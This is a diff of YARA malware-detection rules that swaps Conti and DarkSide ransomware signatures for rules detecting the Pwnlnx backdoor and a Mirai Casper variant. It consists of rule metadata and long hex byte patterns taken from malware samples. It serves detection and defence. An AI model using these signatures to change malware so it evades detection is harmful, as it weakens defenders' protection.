??74??488B????4889????31??4889??E8????????31??4883????5BC9C383????EB??660F1F??????554889??415453E8????????4989??4889??BE????????31??E8????????483D????????77??488B????31??4889??488B????4989????488B????4889????E8????????31??5B415CC9C383????EB??554889??4157415641554154534883????E8????????4889??488D????4989??4189??4889??BA????????4989??4489????4D89??E8????????488B??????????448B????4881??????????488D????75??EB??0F1F????488B????4881??????????488D????74??0FB7????4839??75??4883????31??5B415C415D415E415FC9C30F1F??????4D89??4C89??4489??4889??4C89??FF??????????4883????5B415C415D415E415FC9C30F1F????554889??4157415641554154534883????E8????????65??8B????????????4889????4889????4189??8B??????????4889??B9????????48C7??????????4889??4D89??4589??89??C1????C1????01??25????????29??F3A648984C8B????????????0F84????????B9????????48C7??????????4889??F3A60F84????????31??4585??4889??4889????4489????74??418D??????31??488D??????0FB6??4883????4889??48C1????48C1????4801??4801??4839??488D????488D????75??89????488D????4C89??E8????????4885??4889??0F84????????488B????4885??74??81????????????0F84????????488B??????????483D????????4C8D????75??EB??0F1F??????498B????483D????????4C8D????74??498B??4889??E8????????85??75??31??4883????5B415C415D415E415FC9C34589??4D89??488B????4489??4889??488B????FF??????????4883????5B415C415D415E415FC9C30F1F??????????81????????????0F85????????31??EB??488D????4C89??E8????????4885??4889??74??498B????488B??????????488B????4885??74??31??4889??4889????FF??4885??488B????0F84????????31??E9????????0F1F????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??41554154534883????E8????????4C8B??????????4989??4981??????????498D??????75??EB??0F1F????4C8B????4981??????????498D??????74??488B??4C89??E8????????85??75??4C89??E8????????488B??E8????????4889??E8????????4883????5B415C415DC9C36666662E????????????????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889?? } condition: - uint16( 0 ) == 0x5a4d and filesize < 1500KB and $pattern + uint16( 0 ) == 0x457f and filesize < 400KB and all of them } - -rule TRELLIX_ARC_Ransom_Conti : RANSOMWARE FILE +rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_6 : BACKDOOR FILE { meta: - description = "Conti ransomware is havnig capability too scan and encrypt oover the network" - author = "McAfee ATR team" - id = "8fc6943d-fb99-5957-929b-4c264d9fba2d" - date = "2020-07-09" - modified = "2020-10-12" - reference = "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/Ransom_Conti.yar#L3-L37" + description = "Rule to detect the backdoor pwnlnx variant 6" + author = "Marc Rivero | McAfee ATR Team" + id = "56bfe9c7-4cd4-51f6-a469-da8af52d64c2" + date = "2020-04-17" + modified = "2020-08-14" + reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L131-L161" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "eae876886f19ba384f55778634a35a1d975414e83f22f6111e3e792f706301fe" - logic_hash = "953471c130309bbc712197d49d2072bd45838f49d2b25f86273a15c6baa87354" + hash = "d29254ab907c9ef54349de3ec0dd8b22b4692c58ed7a7b340afbc6e44363f96a" + logic_hash = "29423135a46ee7b9aa1bd8f1e6f7ffad09725787ad6e75312e1d34b18e3917d4" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Conti" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Pwnlnx" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $string1 = "HOW_TO_DECRYPTP" fullword ascii - $string2 = "The system is LOCKED." fullword ascii - $string3 = "The network is LOCKED." fullword ascii - $code1 = { ff b4 b5 48 ff ff ff 53 ff 15 bc b0 41 00 85 c0 } - $code2 = { 6a 02 6a 00 6a ff 68 ec fd ff ff ff 76 0c ff 15 } - $code3 = { 56 8d 85 38 ff ff ff 50 ff d7 85 c0 0f 84 f2 01 } + $bp = { 7F??4C4602??01??000000000000000001??3E????000000000000000000000000000000000000??????09??00000000000000004000000000??????2B??28??04??000014??000003??0000474E55????4D9585????AB6522????52AD3B??EC9B4BE8????????0000000000000000????00000000554889??????????4889??41544989??534889??488B??????????E8????????4C89??4889??48C7??????????FF??????????488B??????????89??E8????????89??5B415C5DC30F1F??E8????????554889??????????4889??41544989??534889??488B??????????E8????????4C89??4889??48C7??????????FF??????????488B??????????89??E8????????89??5B415C5DC30F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??41574589??415641554189??4154534889??4883????488B??????????4889????4889????4C89????483D????????4C8D????74??4C63??EB??0F1F??????498B????483D????????4C8D????74??498B??4C89??4889??E8????????85??75??4883????5B415C415D415E415F5DC30F1F??????????4589??4C8B????488B????4489??4889??488B????FF??????????4883????5B415C415D415E415F5DC3660F1F??????E8????????554889??41574589??41564D89??41554989??41544189??BA????????534889??488D????4883????4889????4889??65??8B????????????4889????31??E8????????488B??????????4881??????????488D????74??0FB7????4839??75??EB??0F1F????????????410FB7????4839??74??4C8B????4981??????????498D????75??4589??4D89??4C89??4489??4889??488B????FF??????????488B????65??33????????????75??4883????5B415C415D415E415F5DC3660F1F??????31??EB??E8????????0F1F??????662E0F1F????????????E8????????55BF????????4889??4881??????????65??8B????????????4889????31??488D??????????FF????????????B9????????4889??488D??????????F3??A5488D??????????48C7??????????BE????????B1??E8????????4885??74??48BA???????? } condition: - uint16( 0 ) == 0x5a4d and filesize < 300KB and pe.number_of_sections == 5 and ( pe.imphash ( ) == "30fe3f044289487cddc09bfb16ee1fde" or ( all of them and all of ( $code* ) ) ) + uint16( 0 ) == 0x457f and filesize < 700KB and all of them } -rule TRELLIX_ARC_RANSOM_Darkside : RANSOMWARE FILE +rule TRELLIX_ARC_Mirai_Casper_Variant : BACKDOOR FILE { meta: - description = "Rule to detect packed and unpacked samples of DarkSide" + description = "Rule to detect the Mirai Casper variant" author = "Marc Rivero | McAfee ATR Team" - id = "ecbee92f-236a-5385-9566-502ef1c0aeda" - date = "2020-08-11" - modified = "2023-07-27" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Darkside.yar#L1-L23" + id = "0f3a028c-9514-51cd-ad82-415e8ac2dee7" + date = "2020-04-17" + modified = "2020-08-14" + reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L163-L193" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "be16d65911336809be103ea667167228e6445de85fd47ecd9ff8b3d91e056693" + hash = "57cc422a6a90c571198a2d1c3db13c31fbdb48ba2f0f4356846d6d636d0f9300" + logic_hash = "5449d1ef0c4977c6151fc194ad5f526b6be414c1efb7fd4bacb77d4bcd89c703" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/DarkSide" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Pwnlnx" actor_type = "Cybercrime" actor_group = "Unknown" - hash1 = "9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297" strings: - $pattern_0 = { CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC558BEC5053515256570FEFC0660FEFC033DB8B7D088B450C33D2B910000000F7F185C0740B0F110783C7104885C075F585D27502EB5892B908000000F7F185C0740B0F7F0783C7084885C075F585D27502EB3B92B904000000F7F185C0740A891F83C7044885C075F685D27502EB1F92B902000000F7F185C0740B66891F83C7024885C075F585D27502EB02881F5F5E5A595B585DC20800558BEC5053515256578B750C8B7D088B451033D2B910000000F7F185C074110F10060F110783C61083C7104885C075EF85D27502EB6892B908000000F7F185C074110F6F060F7F0783C60883C7084885C075EF85D27502EB4592B904000000F7F185C0740F8B1E891F83C60483C7044885C075F185D27502EB2492B902000000F7F185C0740E66891F83C60283C7024885C075F285D27502EB048A1E881F5F5E5A595B585DC20C00558BEC53515256578B4D0C8B75088B7D1033C033DBAC8AD8C0E80480E30F3C0072063C09770204303C0A72063C0F7702045780FB00720880FB09770380C33080FB0A720880FB0F770380C35766AB8AC366AB4985C975BE6633C066AB5F5E5A595B5DC20C00558BEC53515256578B75088B7D0C55FCB2808A0683C601880783C701BB0200000002D275058A164612D273E602D275058A164612D2734F33C002D275058A164612D20F83DB00000002D275058A164612D213C002D275058A164612D213C002D275058A164612D213C002D275058A164612D213C074068BDF2BD88A03880747BB02000000EB9BB80100000002D275058A164612D213C002D275058A164612D272EA2BC3BB010000007528B90100000002D275058A164612D213C902D275058A164612D272EA568BF72BF5F3A45EE94FFFFFFF48C1E0088A06468BE8B90100000002D275058A164612D213C902D275058A164612D272EA3D007D000083D9FF3D0005000083D9FF3D8000000083D1003D8000000083D100568BF72BF0F3A45EE9FEFEFFFF8A064633C9C0E801741783D1028BE8568BF72BF0F3A45EBB01000000E9DDFEFFFF5D2B7D0C8BC75F5E5A595B5DC20800558BEC53515256578B7D088B450CB9FF00000033D2F7F185C074188BD868FF00000057E8AD00000081C7FF0000004B85DB75EA85D274075257E8970000005F5E5A595B5DC20800558BEC5351525657B9F0000000BEB2B640008B45088B108B58048B78088B400C89540E0C89440E08895C0E04893C0E81EA101010102D1010101081EB1010101081EF1010101083E91079D533D233C98B750C33DB8B7D108A81B2B6400002141E02D08AA2B2B64000438882B2B6400088A1B2B640003BDF7306FEC175DAEB0633DBFEC175D25F5E5A595B5DC20C00558BEC535152565733C0A3C2B84000A3C6B84000B9400000008D35B2B640008D3DB2B74000F3A58B7D088B15C2B840008B4D0C8B1DC6B840004F33C0029AB3B740008A82B3B740008AABB2B740008883B2B7400088AAB3B7400002C5478A80B2B74000FEC23007FEC975D18915C2B84000891DC6B840005F5E5A595B5DC2080053515256578D35047040008D3DCAB84000FF76FC56E891FEFFFF56E8864500008BD8FF76FC56E888FBFFFF8B46FC8D3406B915000000E85C010000AD5056E868FEFFFF56E85D4500008BD8FF76FC56E85FFBFFFF8B46FC8D3406B93D000000E833010000AD5056E83FFEFFFF5256E8334500008BD85AFF76FC56E834FBFFFF8B46FC8D3406B915000000E808010000AD5056E814FEFFFF5256E8084500008BD85AFF76FC56E809FBFFFF8B46FC8D3406B904000000E8DD000000AD5056E8E9FDFFFF5256E8DD4400008BD85AFF76FC56E8DEFAFFFF8B46FC8D3406B906000000E8B2000000AD5056E8BEFDFFFF5256E8B24400008BD85AFF76FC56E8B3FAFFFF8B46FC8D3406B901000000E887000000AD5056E893FDFFFF5256E8874400008BD85AFF76FC56E888FAFFFF8B46FC8D3406B903000000E85C000000AD5056E868FDFFFF5256E85C4400008BD85AFF76FC56E85DFAFFFF8B46FC8D3406B901000000E831000000AD5056E83DFDFFFF5256E8314400008BD85AFF76FC56E832FAFFFF8B46FC8D3406B902000000E8060000005F5E5A595BC3ADFF76FC56E80AFDFFFF515653E8F743000059ABFF76FC56E8FFF9FFFF8B46FC8D34064985C975D8C3558BEC81EC1401000053515256578D85ECFEFFFF50FF1516B940008BB5F0FEFFFF8BBDF4FEFFFF83FE05750583FF01720583FE057313B8000000005F5E5A595B8BE55DC3E9DA00000083FE05751883FF017513B8330000005F5E5A595B8BE55DC3E9BD00000083FE05751883FF027513B8340000005F5E5A595B8BE55DC3E9A000000083FE06751785FF7513B83C0000005F5E5A595B8BE55DC3E98400000083FE06751583FF017510B83D0000005F5E5A595B8BE55DC3EB6A83FE06751583FF027510B83E0000005F5E5A595B8BE55DC3EB5083FE06751583FF037510B83F0000005F5E5A595B8BE55DC3EB3683FE0A751485FF7510B8640000005F5E5A595B8BE55DC3EB1D83FE0A750583FF00770583FE0A760EB8FFFFFF7F5F5E5A595B8BE55DC3B8FFFFFFFF5F5E5A595B8BE55DC3558BEC83C4F853515256576A0068800000006A026A006A006800000040FF7508FF1526B940008945FC837DFCFF74226A008D45F850FF7510FF750CFF75FCFF1536B9400085C07409FF75FCFF153EB940005F5E5A595B8BE55DC20C008BFF558BEC5351525657837D0C0074728D3DAABA4000837D100075086A1057E842F8FFFFFF750CFF750868EFBEADDEFF15F6B84000FF750CFF750850FF15F6B840003107FF750CFF750850FF15F6B84000314704FF750CFF750850FF15F6B84000314708FF750CFF750850FF15F6B8400031470CB8AABA40005F5E5A595B5DC20C00B8000000005F5E5A595B5DC20C00558BEC5351525657FF7508FF15DEB8400083C4048BD88D045D02000000506A00FF35AEB64000FF15BEB940008BF085F67434FF750856FF15CEB8400083C4088D43016A006A0050FF75086AFF566A006A00FF1506BA4000566A00FF35AEB64000FF15C6B940008BC35F5E5A595B5DC2040053515657833DBABA400000750B68BABA4000FF15F2B8400068BABA4000FF15F2B840008BD15F5E595BC3558BEC5351525657BB080000008B7508E8C1FFFFFF83FB05750433C033D28944DEFC8954DEF84B85DB75E55F5E5A595B5DC204008D4000558BEC81EC0001000053515256578D45B083C00F83E0F089850CFFFFFF8D8560FFFFFF83C00F83E0F0898508FFFFFF8D8510FFFFFF83C00F83E0F0898504FFFFFF837D14000F84750300008BB504FFFFFF0F57C00F11060F1146100F1146200F1146308B75088BBD0CFFFFFF0F10060F104E100F1056200F105E300F11070F114F100F1157200F115F30837D1440732A8B4510898500FFFFFF8B9504FFFFFF8BFA8B750C8B4D148A440EFF88440FFF4985C975F389550C8955108BB50CFFFFFF8BBD08FFFFFF0F10060F104E100F1056200F105E300F11070F114F100F1157200F115F305556BD0A0000008B078B5F108B4F208B57308BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C68907895F10894F208957308B47148B5F248B4F348B57048BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C6894714895F24894F348957048B47288B5F388B4F088B57188BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C6894728895F38894F088957188B473C8B5F0C8B4F1C8B572C8BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C689473C } - $pattern_1 = { 70211F3B6E97C50000473D000000A000004602003EBBFF1F92CC558BEC5053515256570FEFC0660333DBFBFFEDFF8B7D088B450C33D2B9100000F7F185C0740B0F110783C710480A692EFB7F75F585D27502EB5892B9081C7F08B60F592E3B040A891F38049B641979F61F02661CD6FEBFEC023802881F5F5E5A595B585DC25D977E20634F8B750C9110110F1006252383FD94C61097EF6819AC59BA226F7F089DEFD8EE0119450F8B1E82C604A23E033232F1240EC602B9EC91C1A5F2048A1EA70CA12CCBD9A64D757D42E9FEFFBFAC8AD8C0E80480E30F3C0072063C09770204303C0A090FB66F6DBB5780FB140804150380C3300C0ADADFFE790F5766AB8AC3034985C975BE6646FF252CD6096564610C55FCB2806FDF86DB8A069701887801BBAD0299058A164FD62EFB4612D273E60A4F430C0F83DB7F2A7B602613C00A74068BDF2BD821EC63DB8A03644762EB9BB80142900BFBFB72EA2BC3BB1C7528B923C96F7FFB1F568BF72BF5F3A45EE94D01D248C1E008C3468BE8DE1EC26E0C0449303D007D4B83D9FF0DD93CD907058000D100BDB01BF250F04C33C974017417B1D8B0B61902561B96204B06E1C25D2B398BC75208111AEE18EDB9FF2660F4F8EFDDF7188BD8680E579B03D981C70B4B85DB75EAEE94CD5EFE7407521546B9F0256F7F6BB7BE02A6B24D50108B58048B7807400C895FF7FFDB540E03440E08895C0E04893C0E81EA10002D048168ED9FB1EB05EF83E91079D57EC0DFFFFDE4EC80108A814A02141E02D08AA20A436BFFBFDF88820688A1053BDF7306FEC175DAEB062C076E0B29A3D227F8A327A8C27DFBEDFE04C6B940998D35378D3D05A7B2F3A57DBC8FF7F31520B41D242A9A1BFB8DDD1CB38A8205AB28888305AA11D88DFFFE02C5478A800EFEC23007FEA0D189402F9684D8893D0D7C6BF07BF8CF6004A8CAFF76FC5630040549FF33FFDBAC59109C0C8B46FC8D3406B9150F477291BD05F0AD50283D52C252D961295A532A02B902BB04550608B902B90103E10843260299C3AD8615B2BF2751565333F959AB329FE0EEF874D8C33F81EC1468C885ECFE7777DFF0FFFF50FF4FA9168BB5F00C8BBDF40583FE055877F74BA483FF017205097313B86D00695BF36DFA8BE55DC36C073C2118751C3300D21C210234DF04D2FD06751785FF1B3C1555109AC11EC8B83DEB6A19023EA419644250033FC866DE2636690A75141864FECDEE4C1DDE00770A760EB8FFFFFF7F1B927C490DFF3083C4AEFD7A84F82D6A0068976A02080AFE8FB07509405A083B268945FC837DFCFF7422916D73DF188D45F85072020C1DFC34ECB0AE3672090C3E59746B43DACC8BFFCE3C0D7472E1AD44FB51AAAA0B04576A1057BC67BF3F16470868EFBEADDE3FA8F6105090BDB0670C31070E47040F92F50EC9080CB8624E071B5913D85CD6A8DE6D1FDF6AF9E4D88D045D6D50DAFF58F78F7D63AEC6BE8BF085F6743429562ADDDCE1CBCE088D430119FDBDFF56B027ECEF0A1AAA065639C68BC37077FB9C630484FAF4BAF10B6807A31DB0B14CF20A8BD12DE09A3871989ABBFD24E84013CB376608A783FB048DD2D90317B87FDEFC87DEF8C4E55D49C628308D17EE000DC32FF145B083C027E0F089850CE3FD202387B960051108102B99FE37040B7D14000F8475C41E0FA6DBC5F60F571C119846100320ED17EF8930B1BD4EB0104E17D32CDBCB1056105E3026074F57CDE6E26E5F304840732AE457008B6FF017BF954D8BFAFB4D148A3FFF88447B6DFBD30FFFA3F389550C02106E5359FDF0A964085556BD0A14078B5F6FFFDFBE354F208B5792F003F2C1C60733DE8BF303F0080933CEED2FFFF28BF103F30D33D68BF203F11233C68907892ECBB26D96898947143A243404CBD612202F3B24342CCBB22C0428380818CBB25C802838081820CBB22C3C0C1C2CDFB22C173C0C1C2CED0463476063760CED04750C53606363ED187510ED18D80863637510ED2C6424ED3036C2142C6524ED30234C818D6538ED3065386DA30DFC4D85ED0F851B975E5DF30702CBE5726BC80357105F1867206FB6022F972877307F380F0C024EE572B9DC1EFE56FE5EFE66FE6EA6D996CBFE76FE7E7F3D7F7F94A6699A7F7F7F7F7F9AE5C8708D6B5757575D8C966B57BED8FE2011BFE4B834118B9DA7274320837B2086F1B195000824E977EF1866C335DB32C500E4B2BD154E8B55BA338942200524B5655BFA24EB16831940030C6D370297C0237485CAFC86C21297EE1A818880308D7D80F3B920B16FE21DF2F3ABB900DF518D7580F810CD33E7FED1168D7604E2F92175128B06194DA6ECED078D7F17F473181911C9600933C441290CD5BB0A5B5B59F033E476B05505E00CEDAA9BBDB266E03AA5D908A6BFB960DDDFFCDD4FE0C64580018BA98F7EF05D0C81C379B981A849B1BE07D84150F8510851FC8DAB8360115F547B8D626FADBB1D508D3B50E874D3815240D3E0BF6563F02203740F9908199BBB4B1961646306AE9B780C830627307DC7E63041B73BDB06F8410ECB8A369391B8D51A68A41F000B8278E2C406CE1F0926023676729008AA12F80C1A24446B4B22170E54206317F226F8C37EF45B18B8C3F8EF238B71C65E4E62F475F8F46A0514066C737F01CE04EB43EB3F3D310A1B1CB5D84CD837C2EBC60D2C5A839117A1C12C4468F7BBA5196AD2C86AD6616CDBD8288E2E33ED3CAD1D14C3999178FF733C02CA74D72E71A1A14402EBFC1C332275D4565858CA5D4F846D35570F06E6AC62895FE9BF454B183B480875278D1F30AABEC220586C3BEA0F2C3A0E186BD5E850C63826070017E40793C5F30C0262CC0D776B110D6F68081017F4FDDD58B2C77568040110976256A3D8B3C4B2CC11D3D23DE2DB4636F677FC57FB571F34102048BC03A1088DA3ADD5456CD8C2BE227A30C3A3B18D922A9B1C2C6A9BDB095B62106E38E18B5E12C37BD86CB0403753132F6E56A573B367B10FBC59A8EE97CD409E848530675464A1183064849F924030C31A2C72E1248313F88D1DCF6C125B166CECFC53EC531BB519E4027936286BC0D263936C0F6A245FD4C70B24B15766738C09E89B4A2C585392A89C53325426816407AA7E5111040C8D9913E810EF52A937B527344930AA660C5E017648727CC960E3F07304ADA50B27ACDB8F2D60F0B5833EAF15107A641F05D019EBCCCBACDD2578763D4FA9744A4A0FFC0618E9E3147A6517C1293AECB517D9F88B122E0146336C2CD67D7C5224760B1D0E08506FC8096E7ACA96504FB6B1B1463FD3A6521911F424E1FC5A0142A91AD9A722EC3EEE6B18B26B1C3D7DB1D75EAFFC8D7531831C8535BF8E68EB803FAA5219367958D984534FBE3C1B690664B0B03CCC09209966A401B44050C83336C9ECA29D0004D88465B109215A244576CF58C96AF0346AF4AE9D3DB360BC0E3989C005A9247508F153A7A564036F644553F675A3D4253BAC3956120C5AEBE66EC682D922722568F4C058B36FD730DAEDB57D14450DAA0BD716168151969EAE69921D76C8D85E08626E130C9C11C00D07C160C7846481EDFF72C8A1BDE3DF9F813C18DEADBEEF980340EBF2C631F9EC4E04136DA456A4A1FC8EAC7E73C8C1E0068BD82373CCBB46C6DE01B16A1630408086A44CB2810B2C2F3616500A17F3DE5F0BAB8EAEA556561FFBE5B2F6150A374D358D83E6070A67B303593A5A56223D5A89E4C8254EB60FE492B3D95E56223D5E4FD9EC447286176256223D223972C96250561FB9E46C766656223D6641363B911C26276A56223D488E5C726A51F62E72362B90C7223D6E9D488E5C52C6367256472E399B223D724B963E9CCD4E247656223D7627922397537E427A56964BCE66223D7A545890672269727E72CCA759E47E0AC8A912678203C11A01B23557FBC2E08A53D968243106BE91ACB86472A8C319698152773D833C038C907C420BB3345B061008091C095EE251887010EBDE251B5A160CE0FD66B80904A10B9566ABE74C161266A4D19EE614ECA72DE3F8DC0F84A129461DF421D89E3DE828139F83DA062D4FEEF350ECD3AEFCF6EB6399F833D285D255B390DB6BFDC90530940107A842EB14BB162E2CC12B8B1BD4CB4D33C9192BFFAE400830040E4183F9080E04AC5F713904576A57014C7042E2C8681122C63664F381D8ED9E70B470B8182C883DA58E0EFFE62C080B5B180C256C469348D2C1B408AC1CEC840704300A44AA0EBBB6044381DC0C4BA62EEA1D487CDA4AE10E58D4DC194871F43A5F5DB37064FBF086F034798B83C9A26B096057B0571E7F83172666FD47FE5CFA66C704475C00D565F15702444702D9EB3D62598B151A11EA0B3531B614F06592BA0E46348A5D3932DAC81B1A386C90410C03802C26E0B1CCCD19502B1B035C4379AA3ACD09D534968523BBEB6953CCECBFEC511DB68B27C8F4CB75EC39326FD94ED2820BEB1E27F41821E12E7548293B02750759AC12C23B9616FF57C6082997A5EC1C846C4EC80C6D026D0630968DE46D06251CA43358A41AF84F9CD06CEBA91B5C107EDA562CE1F7C049A5AE83702B0CCB523367A364CD46000B08DD35AD8C91877A08E63C5798CC25C3AC9C86AD927DC615A3A3DC53E7CA217946B6431A1010E864489E911414F0183891906718F8A44D6148561EEBA0D3363ACC9DD08BC8C45110BA36D092BA42CE140510960626A37C49D0736C658C67F0524156E89E609103 } + $bp = { 7F??4C4601??01??000000000000000002??03??01??0000E0??04??34??000088??????????000034??20??05????????????????000000000000000080??????80??????15????????0C??05????????10??????0000??????0C??40A510??40A510??80??????904A0000060000000010????????0000D4??0000D4??04??D4??04??440000??????????????000004??0000070000??????0C??40A510??40A510??14??000030??000004??000004??000051E5??64????000000000000000000000000000000000000060000??????000004??000010??000001??0000474E5500000000????0000????0000????0000??????000014??000003??0000474E55??????3A??87????529723????2C??08??????AB35????????2A??0000BC????????0000????A510??2A??0000C4??????????0000C8??????2A??0000CCA510??2A??00005589??5383????E8????????5B81??????????8B??????????85??74??E8????????E8????????E8????????585BC9C3FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????000000000000000031??5E89??83????50545268????????68????????515668????????E8????????F490909090909090909090909090905589??538D??????80????????????75??BB????????A1????????81??????????C1????83????39??73??908D??????83????A3????????FF????????????A1????????39??72??B8????????85??74??C7????????????E8????????C6????????????8D??????5B5DC3908D??????55B8????????89??8D??????E8????????5A81??????????85??74??89??????C7??????????????C7??????????????C7????????????E8????????A1????????85??74??B8????????85??74??C7????????????FF??C9C39090905589??83????8B????88????A1????????85??74??A1????????0FB6????88??83????A3????????EB??C7??????????????8D????89??????C7????????????E8????????C9C35589??83????EB??8B????0FB6??0FBE??83??????89????E8????????8B????0FB6??84??75??C9C35589??83????8B????0FB6??88????83??????80??????0F84????????80??????74??0FBE????89????E8????????E9????????C7????????????8B????0FB6??88????83??????80??????75??C7????????????8B????0FB6??88????83??????EB??80??????75??C7????????????8B????0FB6??88????83??????C7????????????EB??8B????89??C1????01??01??89??0FBE????8D????83????89????8B????0FB6??88????83??????80??????7E??80??????7E??80??????74??80??????75??83??????8B????0FB6??88????83??????80??????0F84????????0FB6????88????80??????7E??0FB6????83????88????0FBE????83????83????0F87????????8B????????????FF??8B????8D????89????8B??89????C7????????????EB??83??????8B????8B????8D????0FB6??84??75??EB??C7????????????E8????????8B????83????85??75??8B????3B????0F92??83??????84??75??8B????89????E8????????EB??C7????????????E8????????8B????3B????0F92??83??????84??75??E9????????8B????8D????89????8B??0FBE??89????E8????????E9????????C7????????????EB??C7????????????EB??C7????????????EB??C7????????????EB??0FBE????89????E8????????E9????????8B????83????85??74??8B????8D????89????8B??EB??80??????75??8B????8D????89????8B??EB??8B????8D????89????8B??89????80??????75??8B????85??79??F7????83??????C7????????????8B????BA????????F7????89??88????8B????BA????????F7????89????80??????7E??80??????75??B8????????EB??B8????????0FB6????01??88????8B????0FB6????83????88??????83??????83??????74??83??????76??8B????83????85??74??8B????C6????????83??????8B????89????8B????83????84??74??B8????????EB??B8????????88????EB??0FBE????89????E8????????8B????83????85??75??8B????3B????0F92??83??????84??75??83??????8B????0FB6??????0FBE??89????E8????????83??????75??EB??C7????????????E8????????8B????3B????0F92??83??????84??75??E9????????E9????????90EB??90C9C35589??83????8D????89????8B????89??????8B????89????E8????????C9C35589??83????8B????8B????88????88????C9C35589??57565381??????????8B????8B????88??????????88??????????C7??????????????????C7??????????????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????66????????????8D??????????BA????????89??????C7??????????????89????E8????????83????????????0F84????????83????????????0F84????????8B??????????89????E8????????3D????????0F8F????????8B??????????89????E8????????83????0F8F????????8B??????????89????E8????????83????0F8F????????C7??????????????????EB??8B??????????03??????????0FB6??3C??7E??8B??????????03???????